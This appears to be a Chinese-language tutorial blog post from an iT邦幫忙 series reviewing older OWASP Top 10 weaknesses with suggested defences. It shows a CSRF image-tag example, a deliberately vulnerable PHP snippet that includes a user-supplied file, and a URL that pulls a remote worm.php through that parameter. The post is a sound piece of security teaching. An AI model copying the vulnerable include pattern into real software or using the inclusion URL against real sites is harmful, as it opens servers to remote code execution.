iT邦幫忙

第 11 屆 iT 邦幫忙鐵人賽

DAY 14
1

前言
這裡我們來稍微聊聊,這些曾經出現在 OWASP TOP10 榜上的弱點
雖然後來沒在 OWASP TOP10 2017 上,但不代表能忽略掉他們。

跨站冒名請求 Cross site request forgery

  • 已登入Web應用程式的合法使用者執行到惡意的HTTP指令
  • 但Web應用程式卻當成合法需求處理,使得惡意指令被正常執行。
  • 此一攻擊手法類似於XSS

舉例

  • 在網頁中插入惡意的Script語法,例如:
<img src="http://www.example.com/logout.php">
  • 任何合法使用者觀看含有上述Script語法之網頁,皆會被自動登出系統

建議防護

  • 少使用以GET為主的Form傳輸方法

程式碼錯誤訊息外漏 Information Leakage and Improper Error Handling

  • 當系統因為邏輯或資料錯誤,會將程式碼之錯誤訊息暴露在網頁上

  • 輸入不同的參數給予該程式執行時,可能產生不同的錯誤,例如:錯誤的SQL敘述,使得有心人士可以利用不同之錯誤訊息進行資料收集

建議防護

  • 關閉任何有關程式碼的錯誤訊息,避免將資訊外洩
  • 將所有可能之錯誤訊息統一以單獨一種形式輸出,避免資料被收集

未加密的儲存設備 Insecure Cryptographic Storage

  • Web應用程式沒有對敏感性資料使用加密、使用較弱的加密演算法(MD5 / SHA1)或將金鑰儲存於容易被取得之處
  • 使得機密資料容易被駭客破解,造成資料外洩
  • 目前廣泛被使用的加密演算法AES、RSA public key cryptography和 SHA-256皆屬於較安全的加密演算法

建議防護

  • 在系統於分析階段時,可將這些演算法納入實作階段,以提昇資料安全等級

未加密的網路連線 Insecure Communication

  • 在傳送敏感性資料時沒有使用HTTPS或其他加密方式
  • 常發生於無線網路的傳輸過程中。
  • 在瀏覽具有敏感性資料的網站時,例如:網路銀行,資料即相當容易被駭客利用竊聽方式盜取。

建議防護

  • SSL機制可以在Web server端與使用者瀏覽端建立可靠安全的網路連線

無權限的控制 Failure to Restrict URL Access

  • 由於某些網頁因為沒有權限管控,使得攻擊者可透過網址直接存取

建議防護

  • 避免上述問題的方法,可以利用限制連線IP、增加密碼門檻等方式處理

惡意程式執行 Malicious File Execution

  • Web應用程式引入來自外部的惡意檔案並執行檔案內容
  • 目前大多發生在PHP程式語言上

舉例

  • 若PHP程式包含
$report = $_POST[‘file’];
include $report;
  • 此時,使用者在瀏覽器網址輸入類似語法:
http://www.example.com/index.php?file=http://www.example2.com/worm.php
  • 那麼,程式將會讀取此worm.php的內容
  • 若含有惡意程式碼,則將造成Web系統的危害

建議防護

  • 通常對Web應用程式做弱點掃瞄時,大部份的工具很難檢測出哪些參數會去讀取檔案
  • 在撰寫程式時,只要使用到開啟或讀取檔案的function,譬如:

    PHP:include(), include_once(), require(), require_once(), fopen(), readfile(), ... [color=#67e5d4]
    JSP/Servlet:java.io.File(), java.io.FileReader(), ...
    ASP:include file, include virtual, ...

  • 都須注意開啟之檔案是否使用到使用者輸入的字串,或者關閉相關程式函數

上一篇
『 Day 13』Web Security - A10 . 紀錄與監控不足風險
下一篇
『 Day 15』喵!認識 ATT & CK Framework
系列文
到處挖坑,現在該來還(填)願(坑)ㄌ !!!30

尚未有邦友留言

立即登入留言